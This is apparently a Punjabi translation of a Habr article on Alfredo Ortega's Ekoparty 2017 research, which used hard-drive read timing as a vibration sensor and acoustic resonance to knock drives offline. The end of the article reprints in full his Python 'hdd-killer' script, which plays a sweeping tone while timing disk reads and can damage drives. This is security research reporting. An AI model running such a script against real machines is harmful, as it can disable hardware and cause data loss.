ਬਿਊਨਸ ਆਇਰਸ ਵਿੱਚ Ekoparty 2017 ਕੰਪਿਊਟਰ ਸੁਰੱਖਿਆ ਕਾਨਫਰੰਸ ਵਿੱਚ, ਅਰਜਨਟੀਨਾ ਦੇ ਹੈਕਰ ਅਲਫਰੇਡੋ ਓਰਟੇਗਾ ਨੇ ਇੱਕ ਬਹੁਤ ਹੀ ਦਿਲਚਸਪ ਵਿਕਾਸ ਦਿਖਾਇਆ - ਇੱਕ ਮਾਈਕ੍ਰੋਫੋਨ ਦੀ ਵਰਤੋਂ ਕੀਤੇ ਬਿਨਾਂ ਪਰਿਸਰ ਦੀ ਗੁਪਤ ਵਾਇਰਟੈਪਿੰਗ ਲਈ ਇੱਕ ਪ੍ਰਣਾਲੀ। ਧੁਨੀ ਹਾਰਡ ਡਰਾਈਵ ਨੂੰ ਸਿੱਧੇ ਰਿਕਾਰਡ ਕੀਤਾ!

HDD ਮੁੱਖ ਤੌਰ 'ਤੇ ਉੱਚ-ਤੀਬਰਤਾ ਵਾਲੀਆਂ ਘੱਟ-ਫ੍ਰੀਕੁਐਂਸੀ ਆਵਾਜ਼ਾਂ, ਪੈਰਾਂ ਦੇ ਕਦਮ ਅਤੇ ਹੋਰ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਚੁੱਕਦਾ ਹੈ। ਮਨੁੱਖੀ ਬੋਲੀ ਨੂੰ ਅਜੇ ਤੱਕ ਪਛਾਣਿਆ ਨਹੀਂ ਜਾ ਸਕਦਾ, ਹਾਲਾਂਕਿ ਵਿਗਿਆਨੀ ਇਸ ਦਿਸ਼ਾ ਵਿੱਚ ਖੋਜ ਕਰ ਰਹੇ ਹਨ (ਘੱਟ ਫ੍ਰੀਕੁਐਂਸੀ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਦੁਆਰਾ ਬੋਲੀ ਦੀ ਪਛਾਣ, ਜੋ ਕਿ ਰਿਕਾਰਡ ਕੀਤੀ ਜਾਂਦੀ ਹੈ, ਉਦਾਹਰਨ ਲਈ, ਜਾਇਰੋਸਕੋਪ ਜਾਂ HDD ਤੋਂ)।

ਧੁਨੀ ਹਵਾ ਜਾਂ ਕਿਸੇ ਹੋਰ ਮਾਧਿਅਮ ਦੀ ਵਾਈਬ੍ਰੇਸ਼ਨ ਹੈ। ਇੱਕ ਵਿਅਕਤੀ ਉਹਨਾਂ ਨੂੰ ਕੰਨ ਦੇ ਪਰਦੇ ਰਾਹੀਂ ਸਮਝਦਾ ਹੈ, ਜੋ ਅੰਦਰਲੇ ਕੰਨ ਤੱਕ ਕੰਬਣੀ ਸੰਚਾਰਿਤ ਕਰਦਾ ਹੈ। ਮਾਈਕ੍ਰੋਫੋਨ ਨੂੰ ਮੋਟੇ ਤੌਰ 'ਤੇ ਇੱਕ ਕੰਨ ਵਾਂਗ ਡਿਜ਼ਾਇਨ ਕੀਤਾ ਗਿਆ ਹੈ - ਇੱਥੇ ਵੀ, ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਇੱਕ ਪਤਲੀ ਝਿੱਲੀ ਦੁਆਰਾ ਰਿਕਾਰਡ ਕੀਤਾ ਜਾਂਦਾ ਹੈ, ਜੋ ਇੱਕ ਬਿਜਲਈ ਪ੍ਰਭਾਵ ਨੂੰ ਉਤਸ਼ਾਹਿਤ ਕਰਦਾ ਹੈ। ਹਾਰਡ ਡਰਾਈਵ, ਬੇਸ਼ੱਕ, ਆਲੇ ਦੁਆਲੇ ਦੀ ਹਵਾ ਵਿੱਚ ਉਤਰਾਅ-ਚੜ੍ਹਾਅ ਦੇ ਕਾਰਨ ਮਾਈਕ੍ਰੋਸਕੋਪਿਕ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਦੇ ਅਧੀਨ ਵੀ ਹੈ। ਇਹ ਐਚਡੀਡੀਜ਼ ਦੀਆਂ ਤਕਨੀਕੀ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਤੋਂ ਵੀ ਜਾਣਿਆ ਜਾਂਦਾ ਹੈ: ਨਿਰਮਾਤਾ ਆਮ ਤੌਰ 'ਤੇ ਵੱਧ ਤੋਂ ਵੱਧ ਪ੍ਰਵਾਨਿਤ ਵਾਈਬ੍ਰੇਸ਼ਨ ਪੱਧਰ ਨੂੰ ਦਰਸਾਉਂਦੇ ਹਨ, ਅਤੇ ਹਾਰਡ ਡਰਾਈਵ ਅਕਸਰ ਇਸਨੂੰ ਰਬੜ ਜਾਂ ਹੋਰ ਇੰਸੂਲੇਟਿੰਗ ਸਮੱਗਰੀ ਦੇ ਬਣੇ ਵਾਈਬ੍ਰੇਸ਼ਨ-ਪ੍ਰੂਫ ਕੰਟੇਨਰ ਵਿੱਚ ਰੱਖਣ ਦੀ ਕੋਸ਼ਿਸ਼ ਕਰਦੀ ਹੈ। ਇਸ ਤੋਂ ਇਹ ਸਿੱਟਾ ਕੱਢਣਾ ਆਸਾਨ ਹੈ ਕਿ ਐਚਡੀਡੀ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਆਵਾਜ਼ਾਂ ਨੂੰ ਰਿਕਾਰਡ ਕੀਤਾ ਜਾ ਸਕਦਾ ਹੈ। ਇਹ ਸਭ ਕੁਝ ਇਹ ਪਤਾ ਲਗਾਉਣਾ ਹੈ ਕਿ ਕਿਵੇਂ.

ਅਲਫਰੇਡੋ ਓਰਟੇਗਾ ਨੇ ਸਾਈਡ-ਚੈਨਲ ਹਮਲੇ ਦਾ ਇੱਕ ਵਿਲੱਖਣ ਸੰਸਕਰਣ ਪ੍ਰਸਤਾਵਿਤ ਕੀਤਾ, ਅਰਥਾਤ ਇੱਕ ਸਮੇਂ ਦਾ ਹਮਲਾ। ਇਹ ਹਮਲਾ ਇਸ ਧਾਰਨਾ 'ਤੇ ਅਧਾਰਤ ਹੈ ਕਿ ਦਿੱਤੇ ਗਏ ਇਨਪੁਟ ਡੇਟਾ 'ਤੇ ਨਿਰਭਰ ਕਰਦੇ ਹੋਏ, ਵੱਖ-ਵੱਖ ਸਮਿਆਂ 'ਤੇ ਡਿਵਾਈਸ 'ਤੇ ਵੱਖ-ਵੱਖ ਓਪਰੇਸ਼ਨ ਕੀਤੇ ਜਾਂਦੇ ਹਨ। ਇਸ ਸਥਿਤੀ ਵਿੱਚ, "ਇਨਪੁਟ ਡੇਟਾ" ਰੀਡਿੰਗ ਹੈੱਡ ਅਤੇ ਐਚਡੀਡੀ ਪਲੇਟਰ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਹਨ, ਜੋ ਕਿ ਵਾਤਾਵਰਣ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨਾਲ ਸਬੰਧਿਤ ਹਨ, ਯਾਨੀ ਆਵਾਜ਼ ਨਾਲ। ਇਸ ਤਰ੍ਹਾਂ, ਗਣਨਾ ਦੇ ਸਮੇਂ ਨੂੰ ਮਾਪ ਕੇ ਅਤੇ ਡੇਟਾ ਦਾ ਅੰਕੜਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਨ ਦੁਆਰਾ, ਸਿਰ/ਥਾਲੀ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਅਤੇ ਇਸਲਈ ਮਾਧਿਅਮ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਮਾਪਣਾ ਸੰਭਵ ਹੈ। ਡਾਟਾ ਪੜ੍ਹਨ ਵਿੱਚ ਜਿੰਨੀ ਦੇਰੀ ਹੋਵੇਗੀ, ਓਨੀ ਹੀ ਮਜ਼ਬੂਤ ​​HDD ਕੰਬਣੀ ਅਤੇ, ਇਸਲਈ, ਉੱਚੀ ਆਵਾਜ਼।

ਹਾਰਡ ਡਰਾਈਵ ਵਾਈਬ੍ਰੇਸ਼ਨ ਨੂੰ ਕਿਵੇਂ ਮਾਪਣਾ ਹੈ? ਬਹੁਤ ਸਧਾਰਨ: ਸਿਰਫ਼ ਸਿਸਟਮ ਕਾਲ ਚਲਾਓ read () - ਅਤੇ ਇਸ ਨੂੰ ਪੂਰਾ ਕਰਨ ਵਿੱਚ ਲੱਗਣ ਵਾਲੇ ਸਮੇਂ ਨੂੰ ਰਿਕਾਰਡ ਕਰੋ। ਆਧੁਨਿਕ ਓਪਰੇਟਿੰਗ ਸਿਸਟਮ ਤੁਹਾਨੂੰ ਨੈਨੋ ਸਕਿੰਟ ਸ਼ੁੱਧਤਾ ਨਾਲ ਸਿਸਟਮ ਕਾਲਾਂ ਦੇ ਸਮੇਂ ਨੂੰ ਪੜ੍ਹਨ ਦੀ ਇਜਾਜ਼ਤ ਦਿੰਦੇ ਹਨ।

ਕਿਸੇ ਸੈਕਟਰ ਤੋਂ ਜਾਣਕਾਰੀ ਨੂੰ ਪੜ੍ਹਨ ਦੀ ਗਤੀ ਸਿਰ ਅਤੇ ਪਲੇਟਰ ਦੀ ਸਥਿਤੀ 'ਤੇ ਨਿਰਭਰ ਕਰਦੀ ਹੈ, ਜੋ ਕਿ HDD ਕੇਸ ਦੀਆਂ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨਾਲ ਸਬੰਧਿਤ ਹੈ। ਇਹ ਸਭ ਹੈ.

ਅੰਕੜਾ ਵਿਸ਼ਲੇਸ਼ਣ ਇੱਕ ਸਧਾਰਨ Kscope ਉਪਯੋਗਤਾ ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਜਿਵੇਂ ਕਿ ਉਹ ਕਹਿੰਦੇ ਹਨ, ਹਰ ਚੀਜ਼ ਸਧਾਰਨ ਹੈ.

Kscope ਉਪਯੋਗਤਾ (stat() syscall)

Kscope ਸਿਸਟਮ ਕਾਲ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਸਮੇਂ ਵਿੱਚ ਛੋਟੇ ਅੰਤਰਾਂ ਦੀ ਕਲਪਨਾ ਕਰਨ ਲਈ ਇੱਕ ਛੋਟੀ ਸਹੂਲਤ ਹੈ। ਸਰੋਤGitHub 'ਤੇ ਕਲਿੱਕ ਕਰੋ.

ਇੱਕ ਵੱਖਰੇ ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ HDD-ਸਮਾਂ ਹਾਰਡ ਡਰਾਈਵ 'ਤੇ ਸਮੇਂ ਦੇ ਹਮਲੇ ਲਈ ਸੰਰਚਿਤ ਉਪਯੋਗਤਾ ਦਾ ਇੱਕ ਸੰਸਕਰਣ ਹੈ, ਜੋ ਕਿ ਸਿਸਟਮ ਕਾਲ ਦਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕਰਨ ਲਈ ਕੌਂਫਿਗਰ ਕੀਤਾ ਗਿਆ ਹੈ read ().

HDD ਦੀ ਵਰਤੋਂ ਕਰਦੇ ਹੋਏ ਧੁਨੀ ਰਿਕਾਰਡਿੰਗ ਦਾ ਪ੍ਰਦਰਸ਼ਨ, Kscope ਉਪਯੋਗਤਾ ਦਾ ਸੰਚਾਲਨ

ਬੇਸ਼ੱਕ, ਭਾਸ਼ਣ ਨੂੰ ਇਸ ਤਰੀਕੇ ਨਾਲ ਸਮਝਿਆ ਨਹੀਂ ਜਾ ਸਕਦਾ ਹੈ, ਪਰ HDD ਇੱਕ ਵਾਈਬ੍ਰੇਸ਼ਨ ਸੈਂਸਰ ਦੇ ਰੂਪ ਵਿੱਚ ਕਾਫ਼ੀ ਢੁਕਵਾਂ ਹੈ. ਉਦਾਹਰਨ ਲਈ, ਤੁਸੀਂ ਰਜਿਸਟਰ ਕਰ ਸਕਦੇ ਹੋ ਜੇਕਰ ਕੋਈ ਵਿਅਕਤੀ ਸਖ਼ਤ ਜੁੱਤੀਆਂ ਪਹਿਨੇ ਜਾਂ ਨੰਗੇ ਪੈਰੀਂ ਕੰਪਿਊਟਰ ਵਾਲੇ ਕਮਰੇ ਵਿੱਚ ਦਾਖਲ ਹੋਇਆ ਹੋਵੇ (ਸ਼ਾਇਦ, ਜੇਕਰ ਹਮਲਾਵਰ ਨੇ ਨਰਮ ਸਨੀਕਰ ਪਹਿਨੇ ਹੋਏ ਹਨ ਜਾਂ ਫਰਸ਼ 'ਤੇ ਇੱਕ ਮੋਟਾ ਕਾਰਪੇਟ ਹੈ, ਤਾਂ HDD ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਰਜਿਸਟਰ ਕਰਨ ਦੇ ਯੋਗ ਨਹੀਂ ਹੋਵੇਗਾ - ਇਹ ਜਾਂਚ ਕਰਨ ਯੋਗ ਹੈ)। ਕੰਪਿਊਟਰ ਟੁੱਟੇ ਹੋਏ ਸ਼ੀਸ਼ੇ ਜਾਂ ਹੋਰ ਘਟਨਾਵਾਂ ਨੂੰ ਤੇਜ਼ ਆਵਾਜ਼ ਦੀ ਤੀਬਰਤਾ ਨਾਲ ਦਰਜ ਕਰਨ ਦੇ ਯੋਗ ਹੈ। ਭਾਵ, ਹਾਰਡ ਡਰਾਈਵ ਇੱਕ ਕਿਸਮ ਦੀ ਅਣਅਧਿਕਾਰਤ ਘੁਸਪੈਠ ਖੋਜ ਪ੍ਰਣਾਲੀ ਵਜੋਂ ਕੰਮ ਕਰ ਸਕਦੀ ਹੈ।

HDD ਕਾਤਲ

ਤਰੀਕੇ ਨਾਲ, ਹਾਰਡ ਡਰਾਈਵਾਂ ਨੂੰ ਅਯੋਗ ਕਰਨ ਲਈ ਇੱਕ ਸਮਾਨ ਤਕਨੀਕ ਦੀ ਵਰਤੋਂ ਕੀਤੀ ਜਾ ਸਕਦੀ ਹੈ. ਸਿਰਫ਼ ਇੱਥੇ ਹੀ ਅਸੀਂ HDD ਤੋਂ ਓਸੀਲੇਸ਼ਨਾਂ ਨੂੰ ਨਹੀਂ ਹਟਾਉਂਦੇ, ਪਰ ਇਸ ਦੇ ਉਲਟ, ਅਸੀਂ ਓਸੀਲੇਸ਼ਨਜ਼ ਤਿਆਰ ਕਰਦੇ ਹਾਂ ਜੋ HDD ਨੂੰ ਖੁਆਏ ਜਾਂਦੇ ਹਨ। ਜੇਕਰ ਤੁਸੀਂ HDD ਬਾਰੰਬਾਰਤਾ ਨਾਲ ਗੂੰਜਣ ਵਾਲੀ ਫ੍ਰੀਕੁਐਂਸੀ 'ਤੇ ਸਪੀਕਰ ਤੋਂ ਆਵਾਜ਼ ਚਲਾਉਂਦੇ ਹੋ, ਤਾਂ ਸਿਸਟਮ ਜਲਦੀ ਹੀ ਇੱਕ I/O ਗਲਤੀ ਨਾਲ ਡਿਵਾਈਸ ਨੂੰ ਬੰਦ ਕਰ ਦਿੰਦਾ ਹੈ (ਲੀਨਕਸ ਕਰਨਲ 120 ਸਕਿੰਟਾਂ ਬਾਅਦ HDD ਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਬੰਦ ਕਰ ਦਿੰਦਾ ਹੈ)। ਹਾਰਡ ਡਰਾਈਵ ਨੂੰ ਆਪਣੇ ਆਪ ਵਿੱਚ ਨਾ ਪੂਰਾ ਹੋਣ ਵਾਲਾ ਨੁਕਸਾਨ ਹੋ ਸਕਦਾ ਹੈ।

ਲੀਨਕਸ ਕਰਨਲ ਨੇ ਐਡੀਫਾਇਰ r120u USB ਸਪੀਕਰ ਦੇ ਸਪੀਕਰ ਰਾਹੀਂ ਗੂੰਜਦੀ ਬਾਰੰਬਾਰਤਾ 'ਤੇ ਆਵਾਜ਼ ਪ੍ਰਦਾਨ ਕਰਨ ਦੇ 19 ਸਕਿੰਟਾਂ ਬਾਅਦ ਹਾਰਡ ਡਰਾਈਵ ਨੂੰ ਬੰਦ ਕਰ ਦਿੱਤਾ। ਸਪੀਕਰ ਲਗਭਗ ਇੱਕ ਚੌਥਾਈ ਪਾਵਰ (100 mW ਤੋਂ ਘੱਟ) 'ਤੇ ਚਾਲੂ ਹੁੰਦਾ ਹੈ ਅਤੇ HDD ਤੋਂ 20 ਸੈਂਟੀਮੀਟਰ ਦੀ ਦੂਰੀ 'ਤੇ ਸਥਿਤ ਹੁੰਦਾ ਹੈ, ਜਿਸਦਾ ਉਦੇਸ਼ ਵਾਈਬ੍ਰੇਸ਼ਨਾਂ ਨੂੰ ਵਧਾਉਣਾ ਹੈ। ਤੋਂ ਫਰੇਮ ਵੀਡੀਓ HDD ਕਾਤਲ ਦੇ ਪ੍ਰਦਰਸ਼ਨ ਦੇ ਨਾਲ

ਇਹ ਉਤਸੁਕ ਹੈ ਕਿ ਐਚਡੀਡੀ 'ਤੇ ਅਜਿਹੇ "ਹਮਲੇ" ਕਈ ਵਾਰੀ ਰੋਜ਼ਾਨਾ ਜੀਵਨ ਵਿੱਚ ਦੁਰਘਟਨਾ ਦੁਆਰਾ ਪੂਰੀ ਤਰ੍ਹਾਂ ਵਾਪਰਦੇ ਹਨ। ਉਦਾਹਰਨ ਲਈ, ਸਤੰਬਰ 2016 ਵਿੱਚ, ING ਬੈਂਕ ਡੇਟਾ ਸੈਂਟਰ ਨੂੰ ਫਾਇਰ ਡਰਿੱਲ ਤੋਂ ਬਾਅਦ 10 ਘੰਟਿਆਂ ਲਈ ਕੰਮਕਾਜ ਨੂੰ ਮੁਅੱਤਲ ਕਰਨ ਲਈ ਮਜਬੂਰ ਕੀਤਾ ਗਿਆ ਸੀ। ਦਰਜਨਾਂ ਹਾਰਡ ਡਰਾਈਵਾਂ ਫੇਲ੍ਹ ਹੋ ਗਈਆਂ ਹਨ ਹਾਈ ਪ੍ਰੈਸ਼ਰ ਹੇਠ ਸਿਲੰਡਰ ਤੋਂ ਨਿਕਲਣ ਵਾਲੀ ਇਨਰਟ ਗੈਸ ਦੀ ਉੱਚੀ ਆਵਾਜ਼ ਕਾਰਨ। ਆਵਾਜ਼ ਬਹੁਤ ਉੱਚੀ ਸੀ (130 dB ਤੋਂ ਵੱਧ), ਪਰ ਤੁਸੀਂ ਹਾਰਡ ਡਰਾਈਵਾਂ 'ਤੇ ਵੀ ਰੌਲਾ ਨਹੀਂ ਪਾ ਸਕਦੇ - ਇਹ HDD ਤੱਕ ਪਹੁੰਚ ਕਰਨ ਵਿੱਚ ਦੇਰੀ ਨੂੰ ਵਧਾਉਂਦਾ ਹੈ।

ਇੱਕ ਡਾਟਾ ਸੈਂਟਰ ਵਿੱਚ ਹਾਰਡ ਡਰਾਈਵਾਂ 'ਤੇ ਮਨੁੱਖੀ ਚੀਕਾਂ ਦਾ ਪ੍ਰਦਰਸ਼ਨ। ਲੇਟੈਂਸੀ ਮਾਪ

ਗੂੰਜਦੀ ਆਵਾਜ਼ ਪੈਦਾ ਕਰਨ ਲਈ, ਅਲਫਰੇਡੋ ਓਰਟੇਗਾ ਨੇ ਪਾਈਥਨ ਸਕ੍ਰਿਪਟ ਲਿਖੀ hdd-ਕਾਤਲ (ਵੀਡੀਓ ਪ੍ਰਦਰਸ਼ਨ).

HDD ਕਾਤਲ ਸਕ੍ਰਿਪਟ ਇਹ ਕਾਫ਼ੀ ਛੋਟਾ ਹੈ, ਇਸ ਲਈ ਤੁਸੀਂ ਇਸਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਇੱਥੇ ਪ੍ਰਕਾਸ਼ਿਤ ਕਰ ਸਕਦੇ ਹੋ।

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

ਸਰੋਤ: www.habr.com